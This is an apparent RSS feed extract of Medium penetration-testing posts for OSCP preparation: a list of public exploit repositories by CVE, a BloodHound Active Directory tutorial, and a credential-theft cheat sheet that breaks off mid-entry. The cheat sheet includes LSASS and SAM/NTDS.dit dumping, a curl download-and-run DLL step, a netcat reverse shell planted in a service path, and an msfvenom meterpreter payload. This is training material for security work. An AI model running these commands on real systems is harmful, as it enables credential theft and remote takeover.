href="https://github.com/ly4k/PwnKit">https://github.com/ly4k/PwnKit</a></p><blockquote>A local privilege escalation vulnerability was found on polkit’s pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn’t handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it’ll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.</blockquote><p>CVE-2021–4034 PoC for PwnKit (1) <a href="https://github.com/dzonerzy/poc-cve-2021-4034">https://github.com/dzonerzy/poc-cve-2021-4034</a></p><blockquote>A local privilege escalation vulnerability was found on polkit’s pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn’t handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it’ll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.</blockquote><p>CVE-2021–4034 PoC for PwnKit (2) <a href="https://github.com/arthepsy/CVE-2021-4034">https://github.com/arthepsy/CVE-2021-4034</a></p><blockquote>A local privilege escalation vulnerability was found on polkit’s pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn’t handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it’ll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.</blockquote><p>CVE-2021–4034 PoC for PwnKit (3) <a href="https://github.com/nikaiw/CVE-2021-4034">https://github.com/nikaiw/CVE-2021-4034</a></p><blockquote>A local privilege escalation vulnerability was found on polkit’s pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn’t handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it’ll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.</blockquote><p>CVE-2021–40444 MSHTML builders <a href="https://github.com/aslitsecurity/CVE-2021-40444_builders">https://github.com/aslitsecurity/CVE-2021-40444_builders</a></p><blockquote>Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.</blockquote><blockquote>An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.</blockquote><p>CVE-2021–40444 MSHTML Exploit <a href="https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/">https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/</a></p><blockquote>Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.</blockquote><blockquote>An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.</blockquote><p>CVE-2021–40444 MSHTML PoC <a href="https://github.com/lockedbyte/CVE-2021-40444">https://github.com/lockedbyte/CVE-2021-40444</a></p><blockquote>Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.</blockquote><blockquote>An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.</blockquote><p>CVE-2021–41379 InstallerFileTakeOver <a href="https://github.com/klinix5/InstallerFileTakeOver">https://github.com/klinix5/InstallerFileTakeOver</a></p><blockquote>Windows Installer Elevation of Privilege Vulnerability</blockquote><p>CVE-2021–41773,CVE-2021–42013, CVE-2020–17519 SimplesApachePathTraversal <a href="https://github.com/MrCl0wnLab/SimplesApachePathTraversal">https://github.com/MrCl0wnLab/SimplesApachePathTraversal</a></p><blockquote>A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied”, these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021–42013.</blockquote><p>CVE-2021–42278,CVE-2021–42287 sam-the-admin <a href="https://github.com/WazeHell/sam-the-admin">https://github.com/WazeHell/sam-the-admin</a></p><blockquote>Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021–42282, CVE-2021–42287, CVE-2021–42291.</blockquote><p>CVE-2021–42278 sam-the-admin Python Implementation <a href="https://github.com/ly4k/Pachine">https://github.com/ly4k/Pachine</a></p><blockquote>Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021–42282, CVE-2021–42287, CVE-2021–42291.</blockquote><p>CVE-2021–42287,CVE-2021–42278 noPac (1) <a href="https://github.com/cube0x0/noPac">https://github.com/cube0x0/noPac</a></p><blockquote>Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021–42278, CVE-2021–42282, CVE-2021–42291.</blockquote><p>CVE-2021–42287,CVE-2021–42278 noPac (2) <a href="https://github.com/Ridter/noPac">https://github.com/Ridter/noPac</a></p><blockquote>Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021–42278, CVE-2021–42282, CVE-2021–42291.</blockquote><p>CVE-2021–42321 Microsoft Exchange Server RCE <a href="https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398">https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398</a></p><blockquote>Microsoft Exchange Server Remote Code Execution Vulnerability</blockquote><p>CVE-2021–44228 Log4Shell <a href="https://github.com/kozmer/log4j-shell-poc">https://github.com/kozmer/log4j-shell-poc</a></p><blockquote>Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.</blockquote><p>CVE-2021–44228 LogMePwn <a href="https://github.com/0xInfection/LogMePwn">https://github.com/0xInfection/LogMePwn</a></p><blockquote>Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.</blockquote><p>CVE-2022–0847 DirtyPipe-Exploits <a href="https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits">https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits</a></p><blockquote>A flaw was found in the way the “flags” member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.</blockquote><p>CVE-2022–21999 SpoolFool <a href="https://github.com/ly4k/SpoolFool">https://github.com/ly4k/SpoolFool</a></p><blockquote>Windows Print Spooler Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022–21997, CVE-2022–22717, CVE-2022–22718.</blockquote><p>CVE-2022–22963 Spring4Shell <a href="https://github.com/tweedge/springcore-0day-en">https://github.com/tweedge/springcore-0day-en</a></p><blockquote>In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.</blockquote><p>CVE-2022–23119,CVE-2022–23120 Trend Micro Deep Security Agent for Linux Arbitrary File Read <a href="https://github.com/modzero/MZ-21-02-Trendmicro">https://github.com/modzero/MZ-21-02-Trendmicro</a></p><blockquote>A directory traversal vulnerability in Trend Micro Deep Security and Cloud One — Workload Security Agent for Linux version 20 and below could allow an attacker to read arbitrary files from the file system. Please note: an attacker must first obtain compromised access to the target Deep Security Manager (DSM) or the target agent must be not yet activated or configured in order to exploit this vulnerability.</blockquote><p>CVE-2022–26134 ConfluentPwn <a href="https://github.com/redhuntlabs/ConfluentPwn">https://github.com/redhuntlabs/ConfluentPwn</a></p><blockquote>In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.</blockquote><p>CVE-2022–30190 MS-MSDT Follina Attach Vector <a href="https://github.com/JohnHammond/msdt-follina">https://github.com/JohnHammond/msdt-follina</a></p><blockquote>Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability.</blockquote><p>CVE-2022–30190 MS-MSDT Follina Exploit PoC <a href="https://github.com/onecloudemoji/CVE-2022-30190">https://github.com/onecloudemoji/CVE-2022-30190</a></p><blockquote>Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability.</blockquote><p>CVE-2022–30190 MS-MSDT Follina Exploit Python Implementation <a href="https://github.com/chvancooten/follina.py">https://github.com/chvancooten/follina.py</a></p><blockquote>Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability.</blockquote><p>CVE-2022–34918 LPE Netfilter Kernel Exploit <a href="https://github.com/randorisec/CVE-2022-34918-LPE-PoC">https://github.com/randorisec/CVE-2022-34918-LPE-PoC</a></p><blockquote>An issue was discovered in the Linux kernel through 5.18.9. A type confusion bug in nft_set_elem_init (leading to a buffer overflow) could be used by a local attacker to escalate privileges, a different vulnerability than CVE-2022–32250. (The attacker can obtain root access, but must start with an unprivileged user namespace to obtain CAP_NET_ADMIN access.) This can be fixed in nft_setelem_parse_data in net/netfilter/nf_tables_api.c.</blockquote><p>n/a SeBackupPrivilege <a href="https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug">https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug</a></p><blockquote>This specific privilege escalation is based on the act of assigning a user SeBackupPrivilege. It was designed for allowing users to create backup copies of the system. Since it is not possible to make a backup of something that you cannot read. This privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any ACL that the Administrator has placed in the network. So, in a nutshell, this privilege allows the user to read any file on the entirety of the files that might also include some sensitive files such as the SAM file or SYSTEM Registry file. From the attacker’s perspective, this can be exploited after gaining the initial foothold in the system and then moving up to an elevated shell by essentially reading the SAM files and possibly crack the passwords of the high privilege users on the system or network.</blockquote><p>n/a RoguePotato <a href="https://github.com/antonioCoco/RoguePotato">https://github.com/antonioCoco/RoguePotato</a></p><blockquote>This requires that the victim server can reach your box on port 135. You run the OxidResolver and use socat to port your port 135 to the OxidResolvers port. Then you can the exploit</blockquote><p>n/a RottenPotatoNG <a href="https://github.com/breenmachine/RottenPotatoNG">https://github.com/breenmachine/RottenPotatoNG</a></p><blockquote>local privilege escalation from service account to SYSTEM</blockquote><p>n/a GenericPotato <a href="https://github.com/micahvandeusen/GenericPotato">https://github.com/micahvandeusen/GenericPotato</a></p><blockquote>Generic Potato is a modified version of SweetPotato by <a href="http://twitter.com/micahvandeusen">@micahvandeusen</a> to support impersonating authentication over HTTP and/or named pipes. This allows for local privilege escalation from SSRF and/or file writes.</blockquote><p>n/a JuicyPotato <a href="https://github.com/ohpe/juicy-potato">https://github.com/ohpe/juicy-potato</a></p><blockquote>A sugared version of RottenPotatoNG with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM</blockquote><p>n/a JuicyPotatoNG <a href="https://github.com/antonioCoco/JuicyPotatoNG">https://github.com/antonioCoco/JuicyPotatoNG</a></p><blockquote>A new sugared version of RottenPotatoNG with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM</blockquote><p>n/a MultiPotato <a href="https://github.com/S3cur3Th1sSh1t/MultiPotato">https://github.com/S3cur3Th1sSh1t/MultiPotato</a></p><blockquote>MultiPotato is just another Potato to get SYSTEM via SeImpersonate privileges. But this one is different in terms of. It doesn’t contain any SYSTEM auth trigger for weaponization. Instead the code can be used to integrate your favorite trigger by yourself.</blockquote><p>n/a PrintSpoofer (1) <a href="https://github.com/dievus/printspoofer">https://github.com/dievus/printspoofer</a></p><blockquote>This tiny tool is used for Windows Privilege Escalation. If the target server having the SeImpersonatePrivilege enabled and by using this tool, you can perform the Privilege escalation.</blockquote><p>n/a PrintSpoofer (2) <a href="https://github.com/itm4n/PrintSpoofer">https://github.com/itm4n/PrintSpoofer</a></p><blockquote>This tiny tool is used for Windows Privilege Escalation. If the target server having the SeImpersonatePrivilege enabled and by using this tool, you can perform the Privilege escalation.</blockquote><p>n/a Shocker (1) <a href="https://github.com/gabrtv/shocker">https://github.com/gabrtv/shocker</a></p><blockquote>Docker Breakout PoC</blockquote><p>n/a Shocker (2) <a href="https://github.com/nccgroup/shocker">https://github.com/nccgroup/shocker</a></p><blockquote>Docker Breakout PoC</blockquote><p>n/a SystemNightmare <a href="https://github.com/GossiTheDog/SystemNightmare">https://github.com/GossiTheDog/SystemNightmare</a></p><blockquote>Gives you instant SYSTEM command prompt on all supported and legacy versions of Windows. Otherwise known as PrintNightmare 4 by Kiwisss</blockquote><p>n/a PetitPotam <a href="https://github.com/topotam/PetitPotam">https://github.com/topotam/PetitPotam</a></p><blockquote>PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions</blockquote><p>n/a DFSCoerce MS-DFSNM Exploit <a href="https://github.com/Wh04m1001/DFSCoerce">https://github.com/Wh04m1001/DFSCoerce</a></p><blockquote>The DFSCoerce script is based on the PetitPotam exploit, but instead of using MS-EFSRPC, it uses MS-DFSNM</blockquote><p>Finally this is a pre-compiled Windows Exploit:</p><p><a href="https://github.com/abatchy17/WindowsExploits">https://github.com/abatchy17/WindowsExploits</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=512e18e9ef3b" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/list-of-cves-for-oscp-preparation-512e18e9ef3b">List of CVEs For OSCP Preparation</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple Bloodhound Tutorial]]></title>
            <link>https://systemweakness.com/simple-bloodhound-tutorial-fd07a3b94f85?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd07a3b94f85</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Tue, 15 Nov 2022 02:35:51 GMT</pubDate>
            <atom:updated>2023-02-24T13:26:04.681Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*56GRaoI4uFZcwPnWHWlw8Q.png" /></figure><p><em>Checkout my personal notes on </em><a href="https://github.com/LafiAlmutairi/Pentest-Handbook"><em>github</em></a><em>, it’s a handbook i made using cherrytree that consists of many usefull commands for passing the OSCP or even doing an actual penetration tests.</em></p><p><strong>What is BloodHound</strong></p><p>BloodHound is a single page Javascript web application uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.</p><p><strong>Enumeration &amp; Data Ingestion</strong></p><p>BloodHound is a data visualisation tool, meaning without any data is not at all useful. BloodHound is very good at visualising Active Directory object relationships and various permissions between those relationships.</p><p>In order for BloodHound to do its magic, we need to enumerate a victim domain. The enumeration process produces a JSON file that describes various relationships and permissions between AD objects as mentioned earlier, which can then be imported to BloodHound. Once the resulting JSON file is ingested/imported to BloodHound, it will allow us to visually see the ways (if any) how Active Directory and its various objects can be (ab)used to elevate privileges, ideally to Domain Admin.</p><p><strong>SharpHound</strong></p><p>The tool that does the aforementioned AD enumeration is called SharpHound.</p><p>I tried running the SharpHound (the BloodHound ingestor, just a confusing name) from an account that was not a domain member, so I got the following message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*p62CGoCpEUhrI5ixmxaR5w.png" /></figure><p>If you are on a machine that is a member, but you are authenticated as a local user, but have credentials for a domain user, get a shell for that user like so:</p><pre>runas /user:spotless@offense powershell<br><br>// if machine is not a domain member<br>runas /netonly /user:spotless@offense powershell</pre><p>We can now proceed to AD enumeration:</p><pre>. .\SharpHound.ps1<br>Invoke-BloodHound -CollectionMethod All -JSONFolder &quot;c:\experiments\bloodhound&quot;</pre><p>The above command will produce the previously mentioned JSON file, albeit zipped:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*gJ2xdJNjCCnvALmTrI2TqQ.png" /></figure><p>We can now take the .zip file that was generated by Invoke-BloodHound and just drag and drop it to the BloodHound interface for ingestion. Once the ingestion is complete, we can play around with Pre-canned queries that actually visualise the provided data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HbNohB7wPGrq2uFwtA62bQ.gif" /></figure><p><strong>Execution:</strong></p><p>Once the data is ingested, as mentioned, we can play around with the built in queries to find things like All Domain Admins, Shortest Path to Domain Admins and similar, that may help us as an attacker to escalate privileges and compromise the entire domains/forest.</p><p><strong>Example #1: User to Exchange Trusted Subsytem</strong></p><p>A contrived and maybe not entirely realistic, but still — the below shows how an attacker could assume privileges of Exchange Trusted Subsystem group when on the victim network as user spotless:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*zI1wlatIBthMX4y2lkSxww.png" /></figure><p>The above indicates that offense\spotless is admin to the DC01$ (could use mimikatz to pass the machine account hash to get an elevated shell) where offense\administrator session is observed (dump lsass or token impersonation for administrator) and this way assume rights of the Exchange Trusted Subsystem group!</p><pre>net group &quot;Exchange Trusted Subsystem&quot;<br>Group name     Exchange Trusted Subsystem<br>Comment        This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management serv<br>ice. Its members have permission to read and modify all Exchange configuration, as well as user accounts and groups. Thi<br>s group should not be deleted.</pre><p><strong>Example #2: User to Domain Admin via AdminTo and MemberOf:</strong></p><p>The below shows how the user spotless could assume privileges of a Domain Admin.</p><p>Similarly to the previous example, spotless is admin of the DC01$ where admin session is established. If that session is compromised (it is), it makes the user spotless a Domain Admin:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kiSbvJpgGKM0gsbYZl2G0Q.png" /></figure><p><strong>Example #3: User to Domain Admin via Weak ACEs</strong></p><p>The below shows how the user spotless can become a Domain Admin by abusing weak ACEs of the said group. In this particular example, the user spotless can essentially add themselves to domain admins group with net group &quot;domain admins&quot; spotless /add /domain and it is gamer over:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYD0WU8BjUBWrh7Nx3K28g.png" /></figure><blockquote>Credits to ired team</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd07a3b94f85" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/simple-bloodhound-tutorial-fd07a3b94f85">Simple Bloodhound Tutorial</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Local password attack and credentials theft for Windows & Linux]]></title>
            <link>https://medium.com/@saintlafi/local-password-attack-and-credentials-theft-for-windows-linux-5764a1a25363?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/5764a1a25363</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[ecppt]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Tue, 01 Nov 2022 13:38:01 GMT</pubDate>
            <atom:updated>2023-02-24T13:30:54.093Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EjR12mkAWyGVhVB5UMgv8Q.jpeg" /></figure><p><em>Checkout my personal notes on </em><a href="https://github.com/LafiAlmutairi/Pentest-Handbook"><em>github</em></a><em>, it’s a handbook i made using cherrytree that consists of many usefull commands for passing the OSCP or even doing an actual penetration tests.</em></p><p>Password attacks and the pillaging phase is essential for a penetration tester to pivot between networks and devices. this list will help you either in an examination scenario or a real life penetration test.</p><blockquote>ToC</blockquote><p><a href="#042f"><strong>Linux Local Password Attacks</strong></a></p><p><a href="#c5b3"><strong>Windows Local Password Attacks</strong></a></p><p><strong>Linux Local Password Attacks:</strong></p><pre>`for l in $(echo &quot;.conf .config .cnf&quot;);do echo -e &quot;\nFile extension: &quot; $l; find / -name *$l 2&gt;/dev/null | grep -v &quot;lib|fonts|share|core&quot; ;done`</pre><blockquote>Script that can be used to find .conf, .config and .cnf files on a Linux system.</blockquote><pre>`for i in $(find / -name *.cnf 2&gt;/dev/null | grep -v &quot;doc|lib&quot;);do echo -e &quot;\nFile: &quot; $i; grep &quot;user|password|pass&quot; $i 2&gt;/dev/null | grep -v &quot;\#&quot;;done`</pre><blockquote>Script that can be used to find credentials in specified file types.</blockquote><pre>`for l in $(echo &quot;.sql .db .*db .db*&quot;);do echo -e &quot;\nDB File extension: &quot; $l; find / -name *$l 2&gt;/dev/null | grep -v &quot;doc|lib|headers|share|man&quot;;done`</pre><blockquote>Script that can be used to find common database files.</blockquote><pre>`find /home/* -type f -name &quot;*.txt&quot; -o ! -name &quot;*.*&quot;`</pre><blockquote>Uses Linux-based find command to search for text files.</blockquote><pre>`for l in $(echo &quot;.py .pyc .pl .go .jar .c .sh&quot;);do echo -e &quot;\nFile extension: &quot; $l; find / -name *$l 2&gt;/dev/null | grep -v &quot;doc|lib|headers|share&quot;;done`</pre><blockquote>Script that can be used to search for common file types used with scripts.</blockquote><pre>`for ext in $(echo &quot;.xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*&quot;);do echo -e &quot;\nFile extension: &quot; $ext; find / -name *$ext 2&gt;/dev/null | grep -v &quot;lib|fonts|share|core&quot; ;done`</pre><blockquote>Script used to look for common types of documents.</blockquote><pre>`cat /etc/crontab`</pre><blockquote>Uses Linux-based cat command to view the contents of crontab in search for credentials.</blockquote><pre>`ls -la /etc/cron.*/`</pre><blockquote>Uses Linux-based ls -la command to list all files that start with `cron` contained in the etc directory.</blockquote><pre>`grep -rnw &quot;PRIVATE KEY&quot; /* 2&gt;/dev/null | grep &quot;:1&quot;`</pre><blockquote>Uses Linux-based command grep to search the file system for key terms `PRIVATE KEY` to discover SSH keys.</blockquote><pre>`grep -rnw &quot;PRIVATE KEY&quot; /home/* 2&gt;/dev/null | grep &quot;:1&quot;`</pre><blockquote>Uses Linux-based grep command to search for the keywords `PRIVATE KEY` within files contained in a user&#39;s home directory.</blockquote><pre>`grep -rnw &quot;ssh-rsa&quot; /home/* 2&gt;/dev/null | grep &quot;:1&quot;`</pre><blockquote>Uses Linux-based grep command to search for keywords `ssh-rsa` within files contained in a user&#39;s home directory.</blockquote><pre>`tail -n5 /home/*/.bash*`</pre><blockquote>Uses Linux-based tail command to search the through bash history files and output the last 5 lines.</blockquote><pre>`python3 mimipenguin.py`</pre><blockquote>Runs Mimipenguin.py using python3.</blockquote><pre>`bash mimipenguin.sh`</pre><blockquote>Runs Mimipenguin.sh using bash.</blockquote><pre>`python2.7 lazagne.py all`</pre><blockquote>Runs Lazagne.py with all modules using python2.7</blockquote><pre>`ls -l .mozilla/firefox/ | grep default`</pre><blockquote>Uses Linux-based command to search for credentials stored by Firefox then searches for the keyword `default` using grep.</blockquote><pre>`cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .`</pre><blockquote>Uses Linux-based command cat to search for credentials stored by Firefox in JSON.</blockquote><pre>`python3.9 firefox_decrypt.py`</pre><blockquote>Runs Firefox_decrypt.py to decrypt any encrypted credentials stored by Firefox. Program will run using python3.9.</blockquote><pre>`python3 lazagne.py browsers`</pre><blockquote>Runs Lazagne.py browsers module using Python 3.</blockquote><pre>`cmd /c echo %PATH%`</pre><blockquote>Reviewing path variable</blockquote><p><strong>Windows Local Password Attacks:</strong></p><pre>`tasklist /svc`</pre><blockquote>A command-line-based utility in Windows used to list running processes.</blockquote><pre>`findstr /SIM /C:&quot;password&quot; *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml`</pre><blockquote>Uses Windows command-line based utility findstr to search for the string &quot;password&quot; in many different file type.</blockquote><pre>`Get-Process lsass`</pre><blockquote>A Powershell cmdlet is used to display process information. Using this with the LSASS process can be helpful when attempting to dump LSASS process memory from the command line.</blockquote><pre>`rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full`</pre><blockquote>Uses rundll32 in Windows to create a LSASS memory dump file. This file can then be transferred to an attack box to extract credentials.</blockquote><pre>`pypykatz lsa minidump /path/to/lsassdumpfile`</pre><blockquote>Uses Pypykatz to parse and attempt to extract credentials &amp; password hashes from an LSASS process memory dump file.</blockquote><pre>`reg.exe save hklm\sam C:\sam.save`</pre><blockquote>Uses reg.exe in Windows to save a copy of a registry hive at a specified location on the file system. It can be used to make copies of any registry hive (i.e., hklm\sam, hklm\security, hklm\system).</blockquote><pre>`move sam.save \\&lt;ip&gt;\NameofFileShare`</pre><blockquote>Uses move in Windows to transfer a file to a specified file share over the network.</blockquote><pre>`python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL`</pre><blockquote>Uses Secretsdump.py to dump password hashes from the SAM database.</blockquote><pre>`vssadmin CREATE SHADOW /For=C:`</pre><blockquote>Uses Windows command line based tool vssadmin to create a volume shadow copy for `C:`. This can be used to make a copy of NTDS.dit safely.</blockquote><pre>`cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit`</pre><blockquote>Uses Windows command line based tool copy to create a copy of NTDS.dit for a volume shadow copy of `C:`.</blockquote><pre>`curl <a href="http://10.10.14.3:8080/srrstr.dll">h ttp://10.10.14.3:80 80/srrstr.dll</a> -O &quot;C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll&quot;`</pre><blockquote>Downloading file with cURL in PowerShell</blockquote><pre>`rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll`</pre><blockquote>Executing custom dll with rundll32.exe</blockquote><pre>`.\SharpUp.exe audit`</pre><blockquote>Running SharpUp</blockquote><pre>`icacls &quot;C:\Program Files (x86)\PCProtect\SecurityService.exe&quot;`</pre><blockquote>Checking service permissions with icacls</blockquote><pre>`cmd /c copy /Y SecurityService.exe &quot;C:\Program Files (x86)\PCProtect\SecurityService.exe&quot;`</pre><blockquote>Replace a service binary</blockquote><pre>`wmic service get name,displayname,pathname,startmode | findstr /i &quot;auto&quot; | findstr /i /v &quot;c:\windows\\&quot; | findstr /i /v &quot;&quot;&quot;`</pre><blockquote>Searching for unquoted service paths</blockquote><pre>`accesschk.exe /accepteula &quot;mrb3n&quot; -kvuqsw hklm\System\CurrentControlSet\services`</pre><blockquote>Checking for weak service ACLs in the Registry</blockquote><pre>`Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name &quot;ImagePath&quot; -Value &quot;C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443&quot;`</pre><blockquote>Changing ImagePath with PowerShell</blockquote><pre>`Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl`</pre><blockquote>Check startup programs</blockquote><pre>`msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe &gt; maintenanceservice.exe`</pre><blockquote>Generating a malicious binary</blockquote><pre>`get-process -Id 3324`</pre><blockquote>Enumerating a process ID with 